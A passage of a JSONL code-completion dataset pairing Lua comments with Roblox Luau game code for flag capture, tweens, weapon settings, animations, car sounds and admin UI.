newPlayer.Character.Humanoid\n\n\t\thumanoid.Died:connect(function() onHumanoidDied(humanoid, newPlayer) end )\n\n\t\t-- start to listen for new humanoid\n\t\tnewPlayer.Changed:connect(function(property) onPlayerRespawn(property, newPlayer) end )\n\n\n\t\tstats.Parent = newPlayer\n\n\tend\n\nend\n\n\nfunction onCaptureScored(player)\n\n\t\tlocal ls = player:findFirstChild(\"leaderstats\")\n\t\tif ls == nil then return end\n\t\tlocal caps = ls:findFirstChild(\"Captures\")\n\t\tif caps == nil then return end\n\t\tcaps.Value = caps.Value + 1\n\nend\n\n\nfindAllFlagStands(game.Workspace)\nhookUpListeners()\nif (#stands > 0) then CTF_mode = true end\ngame.Players.ChildAdded:connect(onPlayerEntered)\n"} +{"prompt": "--[[\n\tCalled when the goal state changes value; this will initiate a new tween.\n\tReturns false as the current value doesn't change right away.\n]]", "completion": "\nfunction class:update()\n\tself._prevValue = self._currentValue\n\tself._nextValue = self._goalState:get(false)\n\n\tself._currentTweenStartTime = os.clock()\n\tself._currentTweenInfo = self._tweenInfo\n\n\tlocal tweenDuration = self._tweenInfo.DelayTime + self._tweenInfo.Time\n\tif self._tweenInfo.Reverses then\n\t\ttweenDuration += self._tweenInfo.Time\n\tend\n\ttweenDuration *= self._tweenInfo.RepeatCount\n\tself._currentTweenDuration = tweenDuration\n\n\t-- start animating this tween\n\tTweenScheduler.add(self)\n\treturn false\nend\n\nif ENABLE_PARAM_SETTERS then\n\n\t--[[\n\t\tSpecifies a new TweenInfo to use when the goal state changes in the future.\n\t]]\n\tfunction class:setTweenInfo(newTweenInfo: TweenInfo)\n\t\tself._tweenInfo = newTweenInfo\n\tend\n\nend\n\nlocal function Tween(goalState: Types.State, tweenInfo: TweenInfo?)\n\tlocal currentValue = goalState:get(false)\n\n\tlocal self = setmetatable({\n\t\ttype = \"State\",\n\t\tkind = \"Tween\",\n\t\tdependencySet = {[goalState] = true},\n\t\t-- if we held strong references to the dependents, then they wouldn't be\n\t\t-- able to get garbage collected when they fall out of scope\n\t\tdependentSet = setmetatable({}, WEAK_KEYS_METATABLE),\n\t\t_goalState = goalState,\n\t\t_tweenInfo = tweenInfo or TweenInfo.new(),\n\n\t\t_prevValue = currentValue,\n\t\t_nextValue = currentValue,\n\t\t_currentValue = currentValue,\n\n\t\t-- store current tween into separately from 'real' tween into, so it\n\t\t-- isn't affected by :setTweenInfo() until next change\n\t\t_currentTweenInfo = tweenInfo,\n\t\t_currentTweenDuration = 0,\n\t\t_currentTweenStartTime = 0\n\t}, CLASS_METATABLE)\n\n\tinitDependency(self)\n\t-- add this object to the goal state's dependent set\n\tgoalState.dependentSet[self] = true\n\n\treturn self\nend\n\nreturn Tween\n"} +{"prompt": "--// Connections", "completion": "\nL_1_.Equipped:connect(function()\n\tlocal L_42_ = L_3_:FindFirstChild('Torso')\n\tlocal L_43_ = L_3_:FindFirstChild('Head')\n\tlocal L_44_ = L_3_:FindFirstChild('HumanoidRootPart')\n\t\n\tL_14_ = Instance.new(\"Motor6D\", L_42_)\n\tL_14_.Parent = L_42_\n\tL_14_.Name = \"Clone\"\n\tL_14_.Part0 = L_44_\n\tL_14_.Part1 = L_43_\n\tL_14_.C0 = L_42_:WaitForChild(\"Neck\").C0\t\n\tL_14_.C1 = L_42_:WaitForChild(\"Neck\").C1\n\t"} +{"prompt": "--// Damage Settings\t", "completion": "\n\tBaseDamage = 16; -- Torso Damage\n\tLimbDamage = 8; -- Arms and Legs\n\tArmorDamage = 8; -- How much damage is dealt against armor (Name the armor \"Armor\")\n\tHeadDamage = 20; -- If you set this to 100, there's a chance the player won't die because of the heal script\t\n\t"} +{"prompt": "--[=[\n\tYields the current thread until the given Promise completes. Returns true if the Promise resolved, followed by the values that the promise resolved or rejected with.\n\n\t:::caution\n\tIf the Promise gets cancelled, this function will return `false`, which is indistinguishable from a rejection. If you need to differentiate, you should use [[Promise.awaitStatus]] instead.\n\t:::\n\n\t```lua\n\t\tlocal worked, value = getTheValue():await()\n\n\tif worked then\n\t\tprint(\"got\", value)\n\telse\n\t\twarn(\"it failed\")\n\tend\n\t```\n\n\t@yields\n\t@return boolean -- `true` if the Promise successfully resolved\n\t@return ...any -- The values the Promise resolved or rejected with.\n]=]", "completion": "\nfunction Promise.prototype:await()\n\treturn awaitHelper(self:awaitStatus())\nend\n\nlocal function expectHelper(status, ...)\n\tif status ~= Promise.Status.Resolved then\n\t\terror((...) == nil and \"Expected Promise rejected with no value.\" or (...), 3)\n\tend\n\n\treturn ...\nend\n"} +{"prompt": "-- The 3 possible UI states are:\n-- Merch booth closed: merchBoothOpened = false, viewedItemId = nil\n-- Catalog view: merchBoothOpened = true, viewedItemId = nil\n-- Item: merchBoothOpened = true, viewedItemId = !nil\n-- There are 6 events, one for entering and one for leaving each of those states", "completion": "\n"} +{"prompt": "--[[\nCreates a part.\n--]]", "completion": "\nlocal function CreatePart(Color,Size,CF,Parent)\n\tlocal Part = Instance.new(\"Part\")\n\tPart.Color = Color\n\tPart.Material = \"Plastic\"\n\tPart.Size = Size\n\tPart.CFrame = CF\n\tPart.TopSurface = \"Studs\"\n\tPart.BottomSurface = \"Inlet\"\n\tPart.Parent = Parent\n\t\n\treturn Part\nend\n"} +{"prompt": "-- Show where the red lines are going. You can change their colour and width in VisualizerCache", "completion": "\nlocal SHOW_DEBUG_RAY_LINES: boolean = false\n"} +{"prompt": "----------------------------------------------------------------------\n--------------------[ BLOOD HANDLING ]--------------------------------\n----------------------------------------------------------------------", "completion": "\n\nlocal createBlood = script:WaitForChild(\"createBlood\")\ncreateBlood.OnServerEvent:connect(function(_, H, P, D, gunIgnore, S)\n\tlocal bloodCF = CF(P, P + D) * CFANG(RAD(-90), 0, 0)\n\tlocal Blood = Instance.new(\"Part\")\n\tBlood.Transparency = 1\n\tBlood.Anchored = true\n\tBlood.CanCollide = false\n\tBlood.FormFactor = \"Custom\"\n\tBlood.Size = V3(0.2, 1, 0.2)\n\tBlood.TopSurface = 0\n\tBlood.BottomSurface = 0\n\t\n\tlocal Particles = Instance.new(\"ParticleEmitter\")\n\tParticles.Color = ColorSequence.new(S.bloodSettings.Color)\n\tParticles.LightEmission = 0\n\tParticles.Size = NumberSequence.new(S.bloodSettings.Size)\n\tParticles.Texture = S.bloodSettings.Texture\n\tParticles.Transparency = NumberSequence.new(\n\t\t{\n\t\t\tNumberSequenceKeypoint.new(0, S.bloodSettings.startTransparency);\n\t\t\tNumberSequenceKeypoint.new(1, 1);\n\t\t}\n\t)\n\tParticles.EmissionDirection = Enum.NormalId.Top\n\tParticles.Lifetime = NumberRange.new(S.bloodSettings.Lifetime - 0.05, S.bloodSettings.Lifetime + 0.05)\n\tParticles.Rate = S.bloodSettings.Rate\n\tParticles.Rotation = NumberRange.new(0, 90)\n\tParticles.Speed = NumberRange.new(S.bloodSettings.Speed)\n\tParticles.VelocitySpread = S.bloodSettings.Spread\n\tParticles.Parent = Blood\n\t\n\tBlood.Parent = gunIgnore\n\tBlood.CFrame = bloodCF\n\tif (not H.Anchored) then\n\t\tlocal Weld = Instance.new(\"Weld\", Blood)\n\t\tWeld.Part0 = H\n\t\tWeld.Part1 = Blood\n\t\tWeld.C0 = H.CFrame:toObjectSpace(bloodCF)\n\t\tBlood.Anchored = false\n\tend\n\tdelay(0.15, function()\n\t\tParticles.Enabled = false\n\t\twait(S.bloodSettings.Lifetime + 0.05)\n\t\tBlood:Destroy()\n\tend)\nend)\n"} +{"prompt": "--------------------\n--| Script Logic |--\n--------------------", "completion": "\n\nTool.Equipped:Connect(OnEquipped)\nTool.Activated:Connect(OnActivated)\n"} +{"prompt": "--print(\"Keyframe : \".. frameName)", "completion": "\nplayToolAnimation(toolAnimName, 0.0, Humanoid)\nend\nend\nfunction playToolAnimation(animName, transitionTime, humanoid) \nlocal roll = math.random(1, animTable[animName].totalWeight) \nlocal origRoll = roll\nlocal idx = 1\nwhile (roll > animTable[animName][idx].weight) do\nroll = roll - animTable[animName][idx].weight\nidx = idx + 1\nend"} +{"prompt": "--Stickmasterluke", "completion": "\n\n\nsp=script.Parent\n\n\nlocal h=sp:FindFirstChild(\"Humanoid\")\nlocal t=sp:FindFirstChild(\"Torso\")\nif h~=nil and t~=nil and h.Health>0 then\n\tlocal f=Instance.new(\"Fire\")\n\tf.Color=Color3.new(1,0,0)\n\tf.SecondaryColor=Color3.new(1,1,1)\n\tf.Size=3\n\tf.Heat=2\n\tf.Parent=t\n\tif f~=nil then\n\t\tf:remove()\n\tend\nend\nscript:remove()\n\n\n"} +{"prompt": "--Close/Store Wear Data", "completion": "\ncar.DriveSeat.ChildRemoved:connect(function(child)\n\tif child.Name==\"SeatWeld\" then\n\t\tlocal wD=car:FindFirstChild(\"WearData\")\n\t\tif car:FindFirstChild(\"WearData\")==nil then\n\t\t\twD = script.Parent.WearData:Clone()\n\t\t\twD.Parent=car\n\t\tend\n\t\tfor i,v in pairs(Wheels) do\n\t\t\twD[v.wheel.Name].Value = v.Heat\n\t\tend\n\t\twD.STime.Value=tick()\n\tend\nend)\n"} +{"prompt": "--// Firemode Settings", "completion": "\n\tCanSelectFire = true;\n\tBurstEnabled = false;\n\tSemiEnabled = true;\n\tAutoEnabled = false;\n\tBoltAction = false;\n\tExplosiveEnabled = false;\n\t"} +{"prompt": "-- services", "completion": "\nlocal players = game:GetService(\"Players\")\nlocal text_service = game:GetService(\"TextService\")\nlocal tween_service = game:GetService(\"TweenService\")\n"} +{"prompt": "-- Services", "completion": "\nlocal textService = game:GetService(\"TextService\")\n"} +{"prompt": "-- emote bindable hook", "completion": "\nif FFlagAnimateScriptEmoteHook then\n\tscript:WaitForChild(\"PlayEmote\").OnInvoke = function(emote)\n\t\t-- Only play emotes when idling\n\t\tif pose ~= \"Standing\" then\n\t\t\treturn\n\t\tend\n\n\t\tif emoteNames[emote] ~= nil then\n\t\t\t-- Default emotes\n\t\t\tplayAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)\n\n\t\t\treturn true\n\t\telseif typeof(emote) == \"Instance\" and emote:IsA(\"Animation\") then\n\t\t\t-- Non-default emotes\n\t\t\tplayEmote(emote, EMOTE_TRANSITION_TIME, Humanoid)\n\t\t\treturn true\n\t\tend\n\n\t\t-- Return false to indicate that the emote could not be played\n\t\treturn false\n\tend\nend\n"} +{"prompt": "-- Libraries", "completion": "\nlocal Roact = require(Vendor:WaitForChild('Roact'))\n"} +{"prompt": "--Made by Luckymaxer", "completion": "\n\nFigure = script.Parent\n\nRunService = game:GetService(\"RunService\")\n\nCreator = Figure:FindFirstChild(\"Creator\")\n\nHumanoid = Figure:WaitForChild(\"Humanoid\")\nHead = Figure:WaitForChild(\"Head\")\nTorso = Figure:WaitForChild(\"Torso\")\n\nLeftShoulder = Torso:WaitForChild(\"Left Shoulder\")\nRightShoulder = Torso:WaitForChild(\"Right Shoulder\")\nLeftHip = Torso:WaitForChild(\"Left Hip\")\nRightHip = Torso:WaitForChild(\"Right Hip\")\n\nfor i, v in pairs({Neck, LeftShoulder, RightShoulder, LeftHip, RightHip}) do\n\tif v and v.Parent then\n\t\tv.DesiredAngle = 0\n\t\tv.CurrentAngle = 0\n\tend\nend\n\nPose = \"None\"\nLastPose = Pose\nPoseTime = tick()\n\nfunction SetPose(pose)\n\tLastPose = Pose\n\tPose = pose\n\tPoseTime = tick()\nend\n\nfunction OnRunning(Speed)\n\tif Speed > 0 then\n\t\tSetPose(\"Running\")\n\telse\n\t\tSetPose(\"Standing\")\n\tend\nend\n\nfunction OnDied()\n\tSetPose(\"Dead\")\nend\n\nfunction OnJumping()\n\tSetPose(\"Jumping\")\nend\n\nfunction OnClimbing()\n\tSetPose(\"Climbing\")\nend\n\nfunction OnGettingUp()\n\tSetPose(\"GettingUp\")\nend\n\nfunction OnFreeFall()\n\tSetPose(\"FreeFall\")\nend\n\nfunction OnFallingDown()\n\tSetPose(\"FallingDown\")\nend\n\nfunction OnSeated()\n\tSetPose(\"Seated\")\nend\n\nfunction OnPlatformStanding()\n\tSetPose(\"PlatformStanding\")\nend\n\nfunction OnSwimming(Speed)\n\treturn OnRunning(Speed)\nend\n\nfunction MoveJump()\n\tRightShoulder.MaxVelocity = 0.075\n\tLeftShoulder.MaxVelocity = 0.075\n\tRightShoulder.DesiredAngle = math.pi\n\tLeftShoulder.DesiredAngle = -math.pi\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction MoveFreeFall()\n\tRightShoulder.MaxVelocity = 0.125\n\tLeftShoulder.MaxVelocity = 0.125\n\tRightShoulder.DesiredAngle = math.pi\n\tLeftShoulder.DesiredAngle = -math.pi\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\t\nend\n\nfunction MoveSit()\n\tRightShoulder.MaxVelocity = 0.075\n\tLeftShoulder.MaxVelocity = 0.075\n\tRightShoulder.DesiredAngle = (math.pi / 2)\n\tLeftShoulder.DesiredAngle = -(math.pi / 2)\n\tRightHip.DesiredAngle = 1\n\tLeftHip.DesiredAngle = -1\nend\n\nfunction Move(Time)\n\tlocal LimbAmplitude\n\tlocal LimbFrequency\n\tlocal NeckAmplitude\n\tlocal NeckFrequency\n\tlocal NeckDesiredAngle\n \n\tif (Pose == \"Jumping\") then\n\t\tMoveJump()\n\t\treturn\n\telseif (Pose == \"FreeFall\") then\n\t\tMoveFreeFall()\n\t\treturn\n\telseif (Pose == \"Seated\") then\n\t\tMoveSit()\n\t\treturn\n\tend\n\n\tlocal ClimbFudge = 0\n\t\n\tif (Pose == \"Running\") then\n\t\tRightShoulder.MaxVelocity = 0.075\n\t\tLeftShoulder.MaxVelocity = 0.075\n\t\tLimbAmplitude = 1\n\t\tLimbFrequency = 9\n\t\tNeckAmplitude = 0\n\t\tNeckFrequency = 0\n\t\tNeckDesiredAngle = 0\n\t\t--[[if Creator and Creator.Value and Creator.Value:IsA(\"Player\") and Creator.Value.Character then\n\t\t\tlocal CreatorCharacter = Creator.Value.Character\n\t\t\tlocal CreatorHead = CreatorCharacter:FindFirstChild(\"Head\")\n\t\t\tif CreatorHead then\n\t\t\t\tlocal TargetPosition = CreatorHead.Position\n\t\t\t\tlocal Direction = Torso.CFrame.lookVector\n\t\t\t\tlocal HeadPosition = Head.Position\n\t\t\t\tNeckDesiredAngle = ((((HeadPosition - TargetPosition).Unit):Cross(Direction)).Y / 4)\n\t\t\tend\n\t\tend]]\n\telseif (Pose == \"Climbing\") then\n\t\tRightShoulder.MaxVelocity = 0.5\n\t\tLeftShoulder.MaxVelocity = 0.5\n\t\tLimbAmplitude = 1\n\t\tLimbFrequency = 9\n\t\tNeckAmplitude = 0\n\t\tNeckFrequency = 0\n\t\tNeckDesiredAngle = 0\n\t\tClimbFudge = math.pi\n\telse\n\t\tLimbAmplitude = 0.1\n\t\tLimbFrequency = 1\n\t\tNeckAmplitude = 0.25\n\t\tNeckFrequency = 1.25\n\tend\n\t\n\tLimbDesiredAngle = (LimbAmplitude * math.sin(Time * LimbFrequency))\n\t\n\tRightShoulder.DesiredAngle = (LimbDesiredAngle + ClimbFudge)\n\tLeftShoulder.DesiredAngle = (LimbDesiredAngle - ClimbFudge)\n\tRightHip.DesiredAngle = -LimbDesiredAngle\n\tLeftHip.DesiredAngle = -LimbDesiredAngle\n\t\nend\n\nHumanoid.Died:connect(OnDied)\nHumanoid.Running:connect(OnRunning)\nHumanoid.Jumping:connect(OnJumping)\nHumanoid.Climbing:connect(OnClimbing)\nHumanoid.GettingUp:connect(OnGettingUp)\nHumanoid.FreeFalling:connect(OnFreeFall)\nHumanoid.FallingDown:connect(OnFallingDown)\nHumanoid.Seated:connect(OnSeated)\nHumanoid.PlatformStanding:connect(OnPlatformStanding)\nHumanoid.Swimming:connect(OnSwimming)\n\nHumanoid:ChangeState(Enum.HumanoidStateType.None)\n\nRunService.Stepped:connect(function()\n\tlocal _, Time = wait(0.1)\n\tMove(Time)\nend)\n"} +{"prompt": "--[[\n\t ___ _______ _ _______\n\t / _ |____/ ___/ / ___ ____ ___ (_)__ /__ __/\n\t / __ /___/ /__/ _ \\/ _ `(_-<(_->", "completion": "\nfunction module:CreateMorphs()\n\tmain:GetModule(\"cf\"):ClearPage(pages.morphs)\n\t\n\t--Organise morphs\n\tlocal morphsList = {}\n\tlocal searchText = frame.SearchBar.Frame.TextBox.Text\n\tfor morphName,_ in pairs(main.morphNames) do\n\t\tlocal cName = string.lower(morphName)\n\t\tif string.match(cName, searchText) then\n\t\t\ttable.insert(morphsList, morphName)\n\t\tend\n\tend\n\ttable.sort(morphsList)\n\ttable.insert(morphsList, 1, main.pdata.Prefix.. \"morph \")\n\t\t\t\t\n\t--Create morph labels\n\tfor i,morphName in pairs(morphsList) do\n\t\tlocal label = templateM:Clone()\n\t\tif i == 1 then\n\t\t\tlabel.BackgroundColor3 = Color3.fromRGB(95, 95, 95)\n\t\t\tlabel.TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)\n\t\telse\n\t\t\tlabel.BackgroundColor3 = main:GetModule(\"cf\"):GetLabelBackgroundColor(i)\n\t\t\tlabel.TextLabel.TextColor3 = Color3.fromRGB(235, 235, 235)\n\t\tend\n\t\tlabel.TextLabel.Text = morphName\n\t\tlabel.Name = morphName\n\t\tlabel.Visible = true\n\t\tlabel.Parent = pages.morphs\n\tend\n\t\n\t--Canvas size\n\tpages.morphs.CanvasSize = UDim2.new(0,0,0,#morphsList*templateM.AbsoluteSize.Y)\nend\n\n\n\n"} +{"prompt": "--- Send text as the local user to remote server to be evaluated there.", "completion": "\nfunction Dispatcher:Send (text, data)\n\tif RunService:IsClient() == false then\n\t\terror(\"Dispatcher:Send can only be called from the client.\")\n\tend\n\n\treturn self.Cmdr.RemoteFunction:InvokeServer(text, data)\nend\n"} +{"prompt": "--[[\n\tMouseLockController - Replacement for ShiftLockController, manages use of mouse-locked mode\n\t2018 Camera Update - AllYourBlox\n--]]", "completion": "\n"} +{"prompt": "-- functions", "completion": "\nlocal function generate_number_range(from, to, seperator)\n\tlocal numbers = {}\n\n\tfor i = from, to, if (from < to) then 1 else -1 do\n\t\ttable.insert(numbers, i .. if (seperator and i ~= to) then seperator else \"\")\n\tend\n\n\treturn table.concat(numbers)\nend\n"} +{"prompt": "--[[**\n\tReturns a t.union of each key in the table as a t.literal\n\n\t@param keyTable The table to get keys from\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nfunction t.keyOf(keyTable)\n\tlocal keys = {}\n\tfor key in pairs(keyTable) do\n\t\tkeys[#keys + 1] = key\n\tend\n\treturn t.literal(unpack(keys))\nend\n"} +{"prompt": "-- ROBLOX deviation start: predefine variables", "completion": "\nlocal pathAsArray"} +{"prompt": "--[[\n\tExposes an interface to set global configuration values for Roact.\n\n\tConfiguration can only occur once, and should only be done by an application\n\tusing Roact, not a library.\n\n\tAny keys that aren't recognized will cause errors. Configuration is only\n\tintended for configuring Roact itself, not extensions or libraries.\n\n\tConfiguration is expected to be set immediately after loading Roact. Setting\n\tconfiguration values after an application starts may produce unpredictable\n\tbehavior.\n]]", "completion": "\n"} +{"prompt": "-- NOTE: YOU HAVE TO INSERT THIS SCRIPT INTO A TOOL, SORRY IF IT WAS MISLEADING TO YOU.", "completion": "\n"} +{"prompt": "--// Connections", "completion": "\nL_101_.OnClientEvent:connect(function(L_180_arg1, L_181_arg2, L_182_arg3, L_183_arg4, L_184_arg5, L_185_arg6, L_186_arg7)\n\tif L_180_arg1 and not L_15_ then\n\t\tMakeFakeArms()\n\t\t\n\t\tL_41_ = L_21_:WaitForChild('MainGui'):clone()\n\t\tL_41_.Parent = L_2_.PlayerGui\n\t\tL_26_ = L_41_:WaitForChild('Others')\n\t\tL_27_ = L_26_:WaitForChild('Kill')\n\t\tL_28_ = L_41_:WaitForChild('GameGui'):WaitForChild('AmmoFrame')\n\t\tL_29_ = L_28_:WaitForChild('Ammo')\n\t\tL_30_ = L_28_:WaitForChild('AmmoBackground')\n\t\tL_31_ = L_28_:WaitForChild('MagCount')\n\t\tL_32_ = L_28_:WaitForChild('MagCountBackground')\n\t\tL_33_ = L_28_:WaitForChild('DistDisp')\n\t\tL_34_ = L_28_:WaitForChild('Title')\n\t\tL_35_ = L_28_:WaitForChild('Mode1')\n\t\tL_36_ = L_28_:WaitForChild('Mode2')\n\t\tL_37_ = L_28_:WaitForChild('Mode3')\n\t\tL_38_ = L_28_:WaitForChild('Mode4')\n\t\tL_39_ = L_28_:WaitForChild('Mode5')\n\t\tL_40_ = L_28_:WaitForChild('Stances')\n\t\t\n\t\tL_34_.Text = L_1_.Name\n\t\tUpdateAmmo()\n\t\t\n\t\tL_42_ = L_181_arg2\n\t\tL_43_ = L_182_arg3\n\t\tL_44_ = L_183_arg4\n\t\tL_45_ = L_184_arg5\n\t\tL_46_ = L_185_arg6\n\t\tL_47_ = L_186_arg7\t\n\t\tL_48_ = L_58_.Bolt\n\t\t\n\t\tL_82_ = L_47_.C1\n\t\tL_83_ = L_47_.C0\n\t\t\n\t\tif L_1_:FindFirstChild('AimPart2') then\n\t\t\tL_53_ = L_1_:WaitForChild('AimPart2')\n\t\tend\n\t\t\n\t\tif L_1_:FindFirstChild('FirePart2') then\n\t\t\tL_56_ = L_1_.FirePart2\n\t\tend\n\t\t\n\t\tif L_24_.FirstPersonOnly then\n\t\t\tL_2_.CameraMode = Enum.CameraMode.LockFirstPerson\n\t\tend\n\t\t--uis.MouseIconEnabled = false\n\t\tL_5_.FieldOfView = 70\n\t\tL_15_ = true\n\telseif L_15_ then\n\t\tif L_3_ and L_3_.Humanoid and L_3_.Humanoid.Health > 0 and L_9_ then\n\t\t\tStand()\n\t\t\tUnlean()\n\t\tend\t\n\t\t\n\t\tL_88_ = 0\n\t\tL_75_ = false\n\t\tL_76_ = false\n\t\tL_77_ = false\n\t\tL_60_ = false\n\t\tL_63_ = false\n\t\tL_62_ = false\n\t\tShooting = false\n\t\t\n\t\tL_92_ = 70\n\t\t\n\t\tRemoveArmModel()\n\t\t\n\t\tL_41_:Destroy()\t\n\t\t\n\t\tif L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then\n\t\t\tL_3_['Right Arm'].LocalTransparencyModifier = 0\n\t\t\tL_3_['Left Arm'].LocalTransparencyModifier = 0\n\t\tend\t\n\n\t\tL_74_ = false\n\t\tL_65_ = true\n\t\t\n\t\tL_2_.CameraMode = Enum.CameraMode.Classic\n\t\tL_100_.MouseIconEnabled = true\t\t\n\t\tL_5_.FieldOfView = 70\n\t\tL_15_ = false\n\t\tL_100_.MouseDeltaSensitivity = L_51_\n\t\tL_4_.Icon = \"http://www.roblox.com/asset?id=0\"\n\t\tL_15_ = false\n\tend\nend)\n"} +{"prompt": "--[[\n\tFires when the local player begins input. Ignores all input except if\n\tthe user presses `KEY`. If `KEY` is pressed opens the game GUI unless\n\tplayer already interacting with the game\n\n\tArguments: \n\t\tactionName - Name of the ContextActionService action\n\t\tuserInputState - State of input\n\t\tinputObject - Contains info about input\n\tReturns: None\n]]", "completion": "--\nlocal function toggleKeyboard(actionName, userInputState, inputObject)\n\tif not (userInputState == Enum.UserInputState.Begin) then return end\n\ttoggleInteraction()\nend\nlocal function toggleMouse(playerWhoClicked)\n\tif playerWhoClicked then\n\t\ttoggleInteraction()\n\tend\nend\n\n"} +{"prompt": "-- Gamepad / Keyboard Support", "completion": "\nTextBox.SelectionGained:Connect(onFocused)\nTextBox.SelectionLost:Connect(onFocusLost)\n"} +{"prompt": "-- Variables (best not to touch these!)", "completion": "\nlocal button = script.Parent \nlocal car = script.Parent.Parent.Car.Value\nlocal sound = script.Parent.Start\nsound.Parent = car.DriveSeat -- What brick the start sound is playing from.\nbutton.MouseButton1Click:connect(function() -- Event when the button is clicked\n\tif script.Parent.Text == \"Engine: Off\" then -- If the text says it's off then..\n\t\tsound:Play() -- Startup sound plays..\n\t\twait(0.4) -- For realism. Okay?\n\t\tscript.Parent.Parent.IsOn.Value = true -- The car is is on, or in other words, start up the car.\n\t\tbutton.Text = \"Engine: On\" -- You don't really need this, but I would keep it.\n\telse -- If it's on then when you click the button,\n\t\tscript.Parent.Parent.IsOn.Value = false -- The car is turned off.\n\t\tbutton.Text = \"Engine: Off\"\n\tend -- Don't touch this.\nend) -- And don't touch this either.\n"} +{"prompt": "--Both", "completion": "\nlocal Loudness = .75 --volume of the boost supplier (not exact volume so you kinda have to experiment with it also)\n\nscript:WaitForChild(\"Whistle\")\nscript:WaitForChild(\"Whine\")\nscript:WaitForChild(\"BOV\")\n\nfor i,v in pairs(car.DriveSeat:GetChildren()) do\n\tfor _,a in pairs(script:GetChildren()) do\n\t\tif v.Name==a.Name then v:Stop() wait() v:Destroy() end\n\tend\nend\n\ncar.DriveSeat.ChildRemoved:connect(function(child)\n\tif child.Name==\"SeatWeld\" then\n\t\tfor i,v in pairs(car.DriveSeat:GetChildren()) do\n\t\t\tfor _,a in pairs(script:GetChildren()) do\n\t\t\t\tif v.Name==a.Name then v:Stop() wait() v:Destroy() end\n\t\t\tend\n\t\tend\n\tend\nend)\n\nif not _Tune.Engine then return end\nhandler:FireServer(\"newSound\",\"Whistle\",car.DriveSeat,script.Whistle.SoundId,0,script.Whistle.Volume,true)\nhandler:FireServer(\"newSound\",\"Whine\",car.DriveSeat,script.Whine.SoundId,0,script.Whine.Volume,true)\nhandler:FireServer(\"newSound\",\"BOV\",car.DriveSeat,script.BOV.SoundId,0,script.BOV.Volume,true)\nhandler:FireServer(\"playSound\",\"Whistle\")\nhandler:FireServer(\"playSound\",\"Whine\")\ncar.DriveSeat:WaitForChild(\"Whistle\")\ncar.DriveSeat:WaitForChild(\"Whine\")\ncar.DriveSeat:WaitForChild(\"BOV\")\nlocal ticc = tick()\nlocal _TCount = 0\nif _Tune.Aspiration == \"Single\" or _Tune.Aspiration == \"Super\" then _TCount = 1 elseif _Tune.Aspiration == \"Double\" then _TCount = 2 end\n\nwhile wait() do\n\tlocal psi = (((script.Parent.Values.Boost.Value)/(_Tune.Boost*_TCount))*2)\n\t--(script.Parent.Values.RPM.Value/_Tune.Redline)\n\tlocal WP,WV,BP,BV,HP,HV = 0\n\t\n\tBOVact = math.floor(psi*20)\n\tif _Tune.Aspiration == \"Single\" or _Tune.Aspiration == \"Double\" then\n\t\tWP = (psi)\n\t\tWV = (psi/4)*Loudness\n\t\t\n\t\tBP = (1-(-psi/20))*BOV_Pitch\n\t\tBV = (((-0.5+((psi/2)*BOV_Loudness)))*(1 - script.Parent.Values.Throttle.Value))\n\t\n\t\tif BOVact < BOVact2 then if car.DriveSeat.BOV.IsPaused then if FE then handler:FireServer(\"playSound\",\"BOV\") else car.DriveSeat.BOV:Play() end end end\n\t\tif BOVact >= BOVact2 then if FE then handler:FireServer(\"stopSound\",\"BOV\") else car.DriveSeat.BOV:Stop() end end\n\telseif _Tune.Aspiration == \"Super\" then\n\t\tpsi = psi/2\n\t\tHP = (script.Parent.Values.RPM.Value/_Tune.Redline)*Whine_Pitch\n\t\tHV = (psi/4)*Loudness\n\tend\n\t\n\thandler:FireServer(\"updateSound\",\"Whistle\",script.Whistle.SoundId,WP,WV)\n\thandler:FireServer(\"updateSound\",\"Whine\",script.Whine.SoundId,HP,HV)\n\thandler:FireServer(\"updateSound\",\"BOV\",script.BOV.SoundId,BP,BV)\n\t\n\tif (tick()-ticc) >= 0.1 then\n\t\tBOVact2 = math.floor(psi*20)\n\t\tticc = tick()\n\tend\nend\n"} +{"prompt": "--Stickmasterluke", "completion": "\n\n\nsp=script.Parent\n\n\ntaseduration=7\nrate=.5\n\n\nlocal s=Instance.new(\"Sound\")\ns.SoundId=\"http://www.roblox.com/asset/?id=82277505\"\ns.Looped=true\n\njoints={}\nlocal t=sp:FindFirstChild(\"HumanoidRootPart\")\nif t~=nil then\n\ts.Parent=t\n\ts:Play()\n\tfor i,v in ipairs(t:GetChildren()) do\n\t\tif v.className==\"Motor\" or v.className==\"Motor6D\" or v.className==\"Weld\" or v.className==\"ManualWeld\" then\n\t\t\ttable.insert(joints,v)\n\t\tend\n\tend\nend\n\nif #joints>=1 then\n\tlocal trippy = script.Trippy:Clone()\n\ttrippy.Parent = sp:FindFirstChild'Humanoid'\n\ttrippy.Disabled = false\n\tfor i=1,taseduration/rate do\n\t\tfor i,v in ipairs(joints) do\n\t\t\tif v~=nil then\n\t\t\t\tv.CurrentAngle=(math.random()-.5)*5\n\t\t\tend\n\t\tend\n\t\tlocal h=sp:FindFirstChild(\"Humanoid\")\n\t\tlocal t=sp:FindFirstChild(\"HumanoidRootPart\")\n\t\tif t~=nil and h~=nil then\n\t\t\t--t.RotVelocity = Vector3.new(math.random()-.5,math.random()-.5,math.random()-.5)*2*360\n\t\t\twait(rate)\n\t\tend\n\tend\n\ttrippy:Destroy()\nend\ns:Stop()\nscript:remove()\n\n\n"} +{"prompt": "--[[\n\tStringifies a number and places a separator between thousands.\n\n\n\t```lua\n\tseparateThousands(1000000) -- 1,000,000\n\tseparateThousands(12345678, \".\") -- 12.345.678\n\t```\n\n\tThis function is called when setting the text for the PrimaryButton\n\tcomponent when in Purchase mode; the text reflects the price in Robux.\n\n\t@within Modules\n]]", "completion": "\n\nlocal function separateThousands(n: number, sep: string?): string\n\tsep = sep or \",\"\n\n\tlocal str = tostring(n)\n\n\t-- Reverse to apply commas from right-to-left of the original number.\n\tstr = str:reverse():gsub(\"%d%d%d\", \"%1,\")\n\n\t-- Reverse back to normal and trim off any leading commas. The trim is\n\t-- needed when the number of digits is divisible by 3.\n\tstr = str:reverse():gsub(\"^,\", \"\")\n\n\treturn str\nend\n\nreturn separateThousands\n"} +{"prompt": "--[[Brakes]]", "completion": "\n\tTune.ABSEnabled\t\t= true\t\t-- Implements 